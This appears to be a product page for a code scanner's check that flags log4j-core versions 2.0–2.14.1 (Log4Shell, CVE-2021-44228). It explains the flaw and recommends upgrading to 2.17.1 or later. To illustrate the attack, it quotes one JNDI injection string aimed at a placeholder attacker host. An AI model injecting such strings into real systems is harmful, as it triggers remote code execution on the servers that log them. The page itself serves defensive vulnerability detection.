Will It Vibe?Log4Shell -- log4j-core remote code execution (Maven/Gradle)
Part of Dependencies & Hygiene, which counts for 10% of the overall score. When this check fires it deducts 25 points from that category, once per scan, no matter how many places it turns up.
What it detects
Flags a pom.xml/build.gradle dependency on log4j-core between 2.0 and 2.14.1 inclusive, the JNDI-lookup remote-code-execution vulnerability (CVE-2021-44228). The single most important entry in this dataset.
Why it matters
Log4Shell (CVE-2021-44228) is a remote-code-execution vulnerability in log4j-core versions 2.0 through 2.14.1: the logger resolves JNDI lookup expressions like ${jndi:ldap://attacker/a} that appear inside ANY logged string, so an attacker only needs to get one attacker-controlled value logged (a request header, a username, a search query) to make the server fetch and execute remote code. It was one of the most severe and widely-exploited vulnerabilities in recent history because logging attacker-influenced strings is close to universal practice, and this dataset flags it as critical for exactly that reason. This check is a small, hand-picked list of known, historically-significant incidents, not a live CVE feed -- for continuous CVE monitoring, run a dedicated SCA tool (npm audit, pip-audit, OWASP Dependency-Check, Snyk, or similar) against your resolved dependency tree.
How to fix it
Upgrade log4j-core to 2.17.1 or later (2.15.0/2.16.0 closed the original hole but had their own follow-up issues; 2.17.1 is the version generally recommended today). If you cannot upgrade immediately, the interim mitigation is setting log4j2.formatMsgNoLookups=true and removing the JndiLookup class from the classpath, but upgrading is the real fix.
The paid report includes a ready-to-paste prompt for your AI coding agent for every check it finds, pointed at the exact findings from your scan. See pricing
Does your repo trip this check?
Paste a GitHub URL or drop a project folder. Scans run in your browser and take seconds.
Scan your repo